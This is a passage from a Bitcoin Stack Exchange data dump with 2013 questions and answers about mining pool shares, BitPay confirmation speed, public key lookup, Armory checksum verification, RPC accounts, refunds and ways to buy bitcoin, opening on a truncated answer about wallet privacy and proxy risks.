mention is you own PC security. Get fami8liar with truecrypt or similar container/drive encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To circulate coins you could either setup your own PC/network to have multiple wallets (maybe in virtual environments) where each virtual environment uses an own proxy chain / VPN chain, then you can circulate coins pretty effectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also/additionally get a VPS (maybe even as SSH / VNC proxy (also maybe through bitcoin) or online wallet anonymously, to increase circulation effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using TOR solely, your connection is exactly as safe as the EXIT NODE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, always keep in mind, as long as the blockchain exists your transaction history with all available details will be online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you intend to use a proxy to hide your identity be aware that your web identity ie IP is known to the proxy - all traffic is plain text if the content visited is not encrypted. Be also aware that proxies are an unencrypted relay which makes man in the middle attacks by the proxy admin or if compromised by the proxy intruder possible. &#xA;Maligno Alonso outlined man in the middle attacks via proxy and VPN @ DEFCON 20: Owning Bad Guys {And Mafia} With Javascript Botnets .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is an important topic this page is a community wiki as of now.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="5517" LastEditDate="2020-02-03T10:07:46.817" LastActivityDate="2020-02-03T10:07:46.817" CommentCount="2" CommunityOwnedDate="2016-04-05T01:36:04.320" ContentLicense="CC BY-SA 4.0" />
  <row Id="11601" PostTypeId="2" ParentId="11596" CreationDate="2013-06-12T15:29:38.320" Score="1" Body="&lt;p&gt;Miners submit shares to the pool to prove that work has been done. Shares are easier hashes than blocks (by default, one in 2^32 hashes will be a share), and there is no way to find shares without doing the work needed to find blocks. See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1505/what-is-a-share-can-i-find-it-while-mining-solo-or-only-when-pool-mining&quot;&gt;What is a share? Can I find it while mining solo, or only when pool mining?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a miner can do the work but still refuse to send valid blocks if he finds them. This is called block withholding and can be used in several attacks.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-06-12T15:29:38.320" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11602" PostTypeId="1" AcceptedAnswerId="11611" CreationDate="2013-06-12T17:35:01.757" Score="8" ViewCount="3622" Body="&lt;p&gt;I believe it takes about an hour for 6 confirmations. (Edited from David Schwartz's comment)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I purchased some stuff from merchants who used BitPay, the payment/orders were confirmed in like 20 seconds or so?&#xA;Since BitPay is confirming the order before 6 confirmations, how does it protect itself from double spending attacks?&lt;/p&gt;&#xA;" OwnerUserId="439" LastEditorUserId="439" LastEditDate="2013-06-12T19:46:27.440" LastActivityDate="2018-02-02T11:12:29.857" Title="How does BitPay manage to confirm transactions so fast (less than a minute)?" Tags="|bitcoind|bitpay|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11604" PostTypeId="1" AcceptedAnswerId="11619" CreationDate="2013-06-12T19:01:22.700" Score="26" ViewCount="46935" Body="&lt;p&gt;It is possible to get it from here:&#xA;&lt;a href=&quot;https://blockchain.info/de/q/pubkeyaddr&quot;&gt;https://blockchain.info/de/q/pubkeyaddr&lt;/a&gt;&#xA;&lt;a href=&quot;https://blockchain.info/q&quot;&gt;https://blockchain.info/q&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible with the standard client? How?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that the blockchain only contains the pubkey after a tx from that address.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2020-12-02T18:21:51.783" Title="Is it possible to get the public key of a bitcoin address I do not have the private keys for with the standard client?" Tags="|public-key|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11605" PostTypeId="2" ParentId="11596" CreationDate="2013-06-12T19:01:29.333" Score="1" Body="&lt;p&gt;Well, first of all when you submit a share, it gets validated through the BTC/LTC client/daemon. If it is the correct solution to a block, then poof, an incoming transaction of 25BTC / 50LTC appears in the pools transaction history. This is called an &quot;immature&quot; transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the pools run PPS / PPLNS as a reward system. Meaning the more shares you submit, the more payout you get in proportion to the total number of shares during a round. Most pool software use some kind of database to insert the valid shares into to keep track of the work done for each worker/miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, you get no &quot;special&quot; reward for finding a block... If you do, that's some pool-sided setting. Some pools use PC games as rewards for finding blocks, etc etc. But you don't get some kind of increased LTC/BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean that you withhold the valid share, and then submit it locally so only you get the full rewards? That won't work either, since you need your local bitcoin/litecoin daemon to run, and fetch work from. If you submit a share you haven't got work for, to another litecoin/bitcoin daemon, it won't get accepted, since the server knows that they haven't issued this work to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this answers some questions.&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-06-12T19:01:29.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11606" PostTypeId="2" ParentId="10886" CreationDate="2013-06-12T19:01:47.437" Score="0" Body="&lt;p&gt;In my experience, GPU mining has been the most profitable and the least risky as they can be used to mine other crypto-currencies besides Bitcoin. Also GPU hardware can be re-sold to gamers should crypto currency mining fail. Here are &lt;a href=&quot;http://www.coinminingrigs.com&quot; rel=&quot;nofollow&quot;&gt;several excellent guides&lt;/a&gt; to assembling your own Bitcoin mining hardware. &lt;/p&gt;&#xA;" OwnerUserId="5535" LastActivityDate="2013-06-12T19:01:47.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11609" PostTypeId="2" ParentId="10148" CreationDate="2013-06-12T22:15:20.587" Score="0" Body="&lt;p&gt;PT shares can also be found &lt;a href=&quot;https://www.havelockinvestments.com/fund.php?symbol=ASICM&quot; rel=&quot;nofollow&quot;&gt;through&lt;/a&gt; Havelock Investments, based out of Canada.&lt;/p&gt;&#xA;" OwnerUserId="5541" LastEditorUserId="196" LastEditDate="2013-06-13T10:50:11.243" LastActivityDate="2013-06-13T10:50:11.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11610" PostTypeId="1" AcceptedAnswerId="11618" CreationDate="2013-06-13T01:14:16.567" Score="1" ViewCount="1162" Body="&lt;p&gt;It seems that I can do &lt;code&gt;sendmany(fromaccount, {address:amount,...})&lt;/code&gt; which can have multiple outputs with one account, and &lt;code&gt;sendtoaddress(bitcoinaddress, amount)&lt;/code&gt; can have one output with any amount of accounts. Is there a way to have multiple outputs with any number of accounts? I have small amounts of bitcoins distributed amount different accounts and I would like to put them in one transaction to minimize fees. It's odd that there is no rpc call for such a function, or am I completely missing something? Or is there a work around I can do?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2013-06-13T08:18:29.987" Title="RPC sendmany with multiple accounts?" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11611" PostTypeId="2" ParentId="11602" CreationDate="2013-06-13T01:25:35.930" Score="7" Body="&lt;p&gt;BitPay takes all the risks of a double-spend and they don't wait for any confirmation to make the user feel good with the purchase. The merchant doesn't care because they'll receive fiat and most of them are not direct access purchases.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="4748" LastEditDate="2013-12-31T15:14:30.247" LastActivityDate="2013-12-31T15:14:30.247" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11613" PostTypeId="1" AcceptedAnswerId="11614" CreationDate="2013-06-13T02:32:09.820" Score="1" ViewCount="270" Body="&lt;p&gt;I downloaded Armory from &lt;a href=&quot;http://bitcoinarmory.googlecode.com/files/armory_0.88.1-beta_win64.msi&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and the checksum file from &lt;a href=&quot;https://bitcoinarmory.googlecode.com/files/armory_0.88.1-beta_sha256.txt.asc&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; using the links from &lt;a href=&quot;https://bitcoinarmory.com/get-armory/&quot; rel=&quot;nofollow&quot;&gt;the main installation page&lt;/a&gt;. I downloaded the Win64 .msi installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, I used a Cygwin prompt and &lt;a href=&quot;http://support.microsoft.com/kb/841290&quot; rel=&quot;nofollow&quot;&gt;fciv&lt;/a&gt; to verify the download. I didn't feel like downloading keys, etc., so I just looked at the checksum in the .txt.asc file, and compared the first few characters to the fciv output. As you can see, there's a mismatch.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alex Jordan@ajordan /cygdrive/c/Users/SAAS Student/Downloads&#xA;$ cat armory_0.88.1-beta_sha256.txt.asc&#xA;-----BEGIN PGP SIGNED MESSAGE-----&#xA;Hash: SHA1&#xA;&#xA;3d7f620c028940540dc48d41a9cf6127f7f42b920664de4a957fc407b3f59abf  armory_0.88.1-beta_amd64.deb&#xA;670b74ade48b041bd376512f5e2db78075d794495ef347bf0b792156c9a90048  armory_0.88.1-beta_i386.deb&#xA;087fc8a49de3f32fb140151d9c277f9810919f751bf754f0823da084cb67810f  armory_0.88.1-beta_OfflineBundle_Ubuntu-10.04-32bit.tar.gz&#xA;3a86a57208c015adce086e9c300beb56592979b908ec2731bd2f267efa7aaf28  armory_0.88.1-beta_OfflineBundle_Ubuntu-10.04-64bit.tar.gz&#xA;a730df751c753bdd2664d1e0b32a3ff138494900040c742b0ebfced3b516fad6  armory_0.88.1-beta_OSX.dmg&#xA;4d14b43ed75194a753dc202d70f9650a92d7b8756c917fe82a7f46ecd3466aa1  armory_0.88.1-beta_win32.msi&#xA;26735a99948ac1402242e83f0c18aed4477b132654d1a94d7968caa0e72790df  armory_0.88.1-beta_win64.msi&#xA;&#xA;-----BEGIN PGP SIGNATURE-----&#xA;Version: GnuPG v1.4.10 (GNU/Linux)&#xA;&#xA;iQIcBAEBAgAGBQJRc0xHAAoJEEqxauqYgyIjreAP/ifZcfni32nhwc5JUkK9MwI+&#xA;LxvrRObp0AQzdUNYMd5NJ8PivuGGITpSRDi7BgXJH8f49p+jepAPmUb8FgAdWtPo&#xA;odaVoAyKZBDCqCCkSPbLDvMVc/vqIkUCjH2XyplvCYDrTsC8WK7oJi+9IS7upX8J&#xA;yP3tB8Rf530zadgXMidKOvPHBRTO8TKPj4OH3cE8ngM+Ld5QBLXQqHhj1dbs2BVg&#xA;bKO/ypZQWrWIakkoYanplw4/PegbYLl9x9buIQTF2l0aYDCpoW3rh390Zxo+jSgT&#xA;J9pkxf3QLFRNbAhSRDq323UZUI1KZkAp2tCqDyHmDDbr+FqLr4ibnza8hmrbBhKO&#xA;vH8zzL0Hi6KdqKeP2dB1gh9etDy8RNxmOz4ygpLT+PIh/fNqGstXUVXYaitTEsI6&#xA;HHnlBJRlo6xpXMatxMELbhsCNZZO4/L43eZ50BhldxUPd4e9iMO9JUB7h4v0oai+&#xA;ZESAZzRVOVnEzmpoS6djl7XhmGh8CSk8FqyGJNirCvfjNWQaLQZgUNh/N4yyd/Ue&#xA;zz03sZR7xRGZv1sSysXLi9WIZV6YGyQ6FrVeizojgp5WQj1vtP7UubsxKaOvNdX+&#xA;8Jr1NR4kdOppf7/LpvIXnJ23E9sDTVm9IA8zhYIdh52T8q4Pst2HL+CpZOwDs6YR&#xA;eeiAsWB8eKC3TWpL9sf/&#xA;=mOdM&#xA;-----END PGP SIGNATURE-----&#xA;&#xA;Alex Jordan@ajordan /cygdrive/c/Users/SAAS Student/Downloads&#xA;$ fciv -sha1 armory_0.88.1-beta_win64.msi&#xA;//&#xA;// File Checksum Integrity Verifier version 2.05.&#xA;//&#xA;d86ccbf4d709c04ba6250a94782ea620ab0c26fd armory_0.88.1-beta_win64.msi&#xA;&#xA;Alex Jordan@ajordan /cygdrive/c/Users/SAAS Student/Downloads&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How should I proceed? Is it safe to install anyway, probably because I'm doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="5546" LastActivityDate="2013-06-13T03:27:29.110" Title="I downloaded an Armory .msi and the checksum failed. What should I do? (Windows)" Tags="|installation|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11614" PostTypeId="2" ParentId="11613" CreationDate="2013-06-13T03:27:29.110" Score="1" Body="&lt;p&gt;Looks like a SHA256 hash. Try &lt;code&gt;fciv -sha256&lt;/code&gt; or &lt;code&gt;sha256sum&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-06-13T03:27:29.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11615" PostTypeId="1" CreationDate="2013-06-13T05:51:31.707" Score="4" ViewCount="671" Body="&lt;p&gt;In the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;original whitepaper&lt;/a&gt; Satoshi proposes a creation of a timestamp server to authenticate that Bitcoin blocks were not created later than at a given time. Has this feature been ever implemented or planned to be implemented? Why would the timestamp server be useful to the Bitcoin client/protocol/community?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-03-06T19:36:07.580" LastActivityDate="2021-03-06T19:36:07.580" Title="Has the Timestamp Server from the original whitepaper ever been developed?" Tags="|timestamp|whitepaper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11617" PostTypeId="2" ParentId="11615" CreationDate="2013-06-13T08:14:01.230" Score="4" Body="&lt;p&gt;The system called timestamp server in the original whitepaper is currently more often referred to as a &quot;miner&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They timestamp blocks, which combine several transactions, imposing an authorative order on these transactions. This is necessary as the system cannot otherwise decide which of two conflicting but otherwise valid transactions should be accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's certainly not a general-purpose timestamping system, but that can be built on top of it. See for example &lt;a href=&quot;http://github.com/goblin/chronobit&quot; rel=&quot;nofollow&quot;&gt;ChronoBit&lt;/a&gt; or &lt;a href=&quot;http://github.com/opentimestamps&quot; rel=&quot;nofollow&quot;&gt;OpenTimestamps&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2013-06-13T08:22:36.817" LastActivityDate="2013-06-13T08:22:36.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11618" PostTypeId="2" ParentId="11610" CreationDate="2013-06-13T08:18:29.987" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;Accounts&lt;/a&gt; are purely a client-side feature. It's just a virtual balance, allowing you for example to maintain a balance for different users of your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All coins in a wallet are always shared among all accounts, so the 'from account' field does not influence the actual transaction created in any way, or which inputs are used for it. It simply changes which virtual balance the amount is deducted from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really are using the accounts feature (unlikely, it's only useful for a limited number of use cases), and really need to send 'from' different accounts, use the &lt;code&gt;move&lt;/code&gt; command (which is local only, and doesn't construct any Bitcoin transactions) to move amounts from one account to another to correct before or afterwards.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-06-13T08:18:29.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11619" PostTypeId="2" ParentId="11604" CreationDate="2013-06-13T08:21:14.967" Score="28" Body="&lt;p&gt;It is impossible to compute the public key of an address, as the address is computed from the hash of the public key. You can retrieve the public key from address with the reference client using the &lt;code&gt;validateaddress&lt;/code&gt; RPC call (or in the debug window of Bitcoin-Qt), but that simply fetches it from the wallet, and only works if the address belongs to you.&lt;/p&gt;&#xA;&lt;p&gt;Update: you need to use &lt;code&gt;getaddressinfo&lt;/code&gt; now instead of &lt;code&gt;validateaddress&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2020-12-02T18:21:51.783" LastActivityDate="2020-12-02T18:21:51.783" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="11620" PostTypeId="1" CreationDate="2013-06-13T11:29:18.143" Score="2" ViewCount="177" Body="&lt;p&gt;I want to have a server running that will be processing payments and refunds.  However, I also want to ensure that should my server die, that after a restart I will continue sending out any applicable refunds without sending a refund to someone I have already sent one too. I plan on using a WAL to achieve this, but I need to know what to store in the WAL. Is it possible to know your transaction ID before submitting the transaction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way I could just log the ID before submitting, and if I crash, I can just check the blockchain to see if that transaction already exists or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like it would be a common problem for payment processors, but looking at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt; documentation it appears that you only ever get the transaction ID after submitting the sendfrom/sendtoaddress.&lt;/p&gt;&#xA;" OwnerUserId="5553" LastEditorUserId="1405" LastEditDate="2013-07-17T07:31:14.143" LastActivityDate="2013-07-17T07:31:14.143" Title="How to process refunds and ensure that after a crash you don't resend to someone?" Tags="|transactions|blockchain|json-rpc|payment-processors|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11622" PostTypeId="2" ParentId="11620" CreationDate="2013-06-13T12:33:30.740" Score="2" Body="&lt;p&gt;You can check blockchain for the latest transactions of the address you are using for refunds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the latest transactions of the address from the blockchain and compare those to the refunds in your system to see which ones you were able to send and which ones you weren't before the crash.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-06-13T12:33:30.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11623" PostTypeId="1" AcceptedAnswerId="11630" CreationDate="2013-06-13T15:19:04.417" Score="0" ViewCount="523" Body="&lt;p&gt;I am new to Blockchain.info's wallet's features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I clicked the &quot;Receive Money&quot; tab, then clicked &quot;Shared&quot; and then the green button labeled &quot;New Shared Address&quot;. It gave me the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address       Forward to      Expires in&#xA;abcdefg       123456          3 days&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which address should I give to my friend so that he will send the funds to a shared wallet of my account?&lt;/p&gt;&#xA;" OwnerUserId="5556" LastActivityDate="2013-06-14T02:27:51.040" Title="Blockchain.info: Which address should I give for &quot;New Shared Address&quot;?" Tags="|blockchain|address|money|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11624" PostTypeId="1" CreationDate="2013-06-13T15:59:58.877" Score="9" ViewCount="92886" Body="&lt;p&gt;I have sent 0.00778963 BTC to 1BF8SHKnT8ZysYNrj5toeu6DsuGE5XDcCR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is more than a day and I dont see it in the wallet. The receiving address is a coinbase account wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know how I can trace/track this transaction probably using a tool like blockchain.info. Unfortunately, I do not have transaction record.&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2017-11-20T18:38:27.557" Title="How to track bitcoin transaction?" Tags="|transactions|blockchain|bitcoind|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11626" PostTypeId="2" ParentId="11624" CreationDate="2013-06-13T16:08:56.007" Score="7" Body="&lt;p&gt;You can add the bitcoin address to the search field at blockchain.info and you should be able to track any incoming transactions to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1BF8SHKnT8ZysYNrj5toeu6DsuGE5XDcCR&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/address/1BF8SHKnT8ZysYNrj5toeu6DsuGE5XDcCR&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2013-06-13T16:08:56.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11627" PostTypeId="2" ParentId="8561" CreationDate="2013-06-13T20:49:00.790" Score="1" Body="&lt;p&gt;I found this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bfl.ptz.ro/&quot; rel=&quot;nofollow&quot;&gt;BFL SC Pre-Order Information&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So. 6000 units ordered from june 2012 to june 2013. 100 were shipped, in june 2013. 5900 to go. &lt;/p&gt;&#xA;" OwnerUserId="5560" LastEditorUserId="1307" LastEditDate="2013-06-14T13:44:53.637" LastActivityDate="2013-06-14T13:44:53.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11630" PostTypeId="2" ParentId="11623" CreationDate="2013-06-14T02:27:51.040" Score="1" Body="&lt;p&gt;The one marked &quot;Address&quot;. It will forward it to the one marked &quot;Forward To&quot;.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-06-14T02:27:51.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11631" PostTypeId="2" ParentId="10731" CreationDate="2013-06-14T02:29:20.380" Score="-6" Body="&lt;p&gt;I like your pool because it has an easy Java miner that takes the effort out of configuration! But, if it didn't matter, then why does my math NOT add up?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The world gets one block (25 BTC) every ten minutes. Nothing on earth can change that for this currency as it is set in this specific protocol.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being hypothetical:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Small pool = 20% and large pool = 80% of all hashing power&lt;/li&gt;&#xA;&lt;li&gt;Your 1&amp;nbsp;GHash/s miner pulls in say 10% of the shares on the small server&lt;/li&gt;&#xA;&lt;li&gt;Your 1&amp;nbsp;GHash/s miner pulls in 1/5th of that on a large server as it is only 2% of shares&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 block is mined for &lt;em&gt;this&lt;/em&gt; shift&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;A 0.2 small pool is rewarded their 20% of the block == 10% is your work == .02 blocks&lt;/li&gt;&#xA;&lt;li&gt;A 0.8 large pool is rewarded their 80% of the block == 2% is your work == .016 blocks &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I understand that over the course of a shift, the hashing power should cause the bigger pool to mine more shares which is supposed to even out the distribution curve, but I think that this is not exactly true either, because it is a &quot;random&quot; drawing for the correct &quot;hash=greater than difficulty&quot; solution to solve the block and continue the work in sequence.  &lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="1405" LastEditDate="2014-01-18T10:31:49.830" LastActivityDate="2014-01-18T10:31:49.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11632" PostTypeId="1" AcceptedAnswerId="11633" CreationDate="2013-06-14T02:46:34.597" Score="3" ViewCount="271" Body="&lt;p&gt;Aside from it forever being public and kind of marrying a business to a wallet.&lt;/p&gt;&#xA;" OwnerUserId="4923" LastEditorUserId="516" LastEditDate="2013-06-14T09:50:02.300" LastActivityDate="2013-06-14T09:50:02.300" Title="Is it a bad idea to use a bitcoin wallet address in a domain name or URL?" Tags="|address|vanity-address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11633" PostTypeId="2" ParentId="11632" CreationDate="2013-06-14T03:17:32.037" Score="5" Body="&lt;p&gt;If you mean as part of a URL or domain name, then yes, I think it's a bad idea. If your private key is somehow compromised (eg through a stolen or hacked PC) you may no longer want to use that address, but your users may have it in their bookmarks for years afterwards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as long as it didn't have any particular meaning (such as being accompanied by an instruction to donate to that address), it may not cause any harm. Secondly, it's easy to redirect a user's browser to a new page if you need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually URLs are best kept short unless it's a sub-section of a site used for sharing or bookmarking. Keeping them looking like words (as much as possible) helps with usability, so unless your vanity address is the longest ever generated and you want to show off, I can't see a good reason to include it there. &lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-06-14T03:17:32.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11635" PostTypeId="2" ParentId="9591" CreationDate="2013-06-14T10:00:30.230" Score="6" Body="&lt;p&gt;If you want to buy bitcoins with ZAR try trading face to face with some SA locals who have bitcoins. Check out the facebook.com/bitcoinzar page to find other locals who are into bitcoins. You can also try localbitcoins.com where locals trade coins. You could also sell something for bitcoins to get bitcoins, use bitpay for that. Check out &lt;a href=&quot;http://www.bitcoinzar.co.za&quot;&gt;www.bitcoinzar.co.za&lt;/a&gt; too for some SA businesses that accept bitcoins, maybe they will trade some with you.&lt;/p&gt;&#xA;" OwnerUserId="5568" LastActivityDate="2013-06-14T10:00:30.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11636" PostTypeId="2" ParentId="10771" CreationDate="2013-06-14T13:51:05.170" Score="5" Body="&lt;p&gt;Just a few thoughts from someone with no experience with lawyers: since very few lawyers will have experience with Bitcoin, I personally would look for a lawyer familiar with (1) tax law, (2) currency trading and/or commodities trading, and (3) technology in general. Familiarity with technology may be the least important, and may actually not matter at all, except that the lawyer needs to understand the analogy between Bitcoin and a commodity/currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it doesn't sound like you will be doing Bitcoin speculation, you will still, presumably, be trading services for Bitcoin, and then Bitcoin for a national currency. This is where the lawyers knowledge of currency/commodities trading comes into play. For example, do you pay taxes on the spot price of the Bitcoin at the point of transaction? At the end of the year? Or only when you trade the Bitcoin for national currency? What if you trade the Bitcoin for something other than national currency? Such as if you pay your web site hosting fees with Bitcoin? I'm assuming that these are the sorts of questions you'll need answered in the end. You might use these questions during a free/initial consultation to get a sense of the lawyers ability to field the sorts of questions you'll have.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2013-06-14T13:51:05.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11637" PostTypeId="1" AcceptedAnswerId="11638" CreationDate="2013-06-14T14:11:09.277" Score="2" ViewCount="203" Body="&lt;p&gt;Bitcoin Armory is a client that sits on top of the official bitcoin client. Bitcoinj is a totally different client, separate from the official bitcoin client. Does Electrum also need the official bitcoin client, or is it separate?&lt;/p&gt;&#xA;" OwnerUserId="4368" LastEditorUserId="4368" LastEditDate="2013-06-14T14:32:46.013" LastActivityDate="2013-06-14T14:32:46.013" Title="Does Electrum require the Satoshi client?" Tags="|client|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11638" PostTypeId="2" ParentId="11637" CreationDate="2013-06-14T14:28:37.487" Score="2" Body="&lt;p&gt;No, Electrum doesn't require Bitcoin-Qt to be installed on your computer. Electrum and BitcoinJ aren't &lt;em&gt;full&lt;/em&gt; clients, though, so they do rely on Bitcoin-Qt at some level -- Electrum through the Stratum network and BitcoinJ through the Bitcoin network's SPV mode.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-06-14T14:28:37.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11639" PostTypeId="2" ParentId="11146" CreationDate="2013-06-14T14:47:09.937" Score="-2" Body="&lt;p&gt;seems like they are also discussed here: &#xA;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=233346.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=233346.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5571" LastActivityDate="2013-06-14T14:47:09.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11640" PostTypeId="2" ParentId="10465" CreationDate="2013-06-14T15:18:35.357" Score="1" Body="&lt;p&gt;I have found the snippets in here helpful:  &lt;a href=&quot;http://bitcoinaustria.github.io/devfest-bitcoinj/#/2/1&quot; rel=&quot;nofollow&quot;&gt;Bitcoinj API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5572" LastActivityDate="2013-06-14T15:18:35.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11642" PostTypeId="1" CreationDate="2013-06-14T15:56:45.113" Score="1" ViewCount="2405" Body="&lt;p&gt;Since Bitinstant has deactivated dwolla deposits and campbx has a 31 day wait, besides otc, is there any other exchange ??  Maybe a foreign exchange ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="5573" LastActivityDate="2013-06-14T20:15:05.767" Title="How to buy bitcoins with Dwolla now 6/14/13?" Tags="|buy-bitcoins|dwolla|" AnswerCount="1" CommentCount="1" ClosedDate="2013-06-17T21:10:36.370" ContentLicense="CC BY-SA 3.0" />
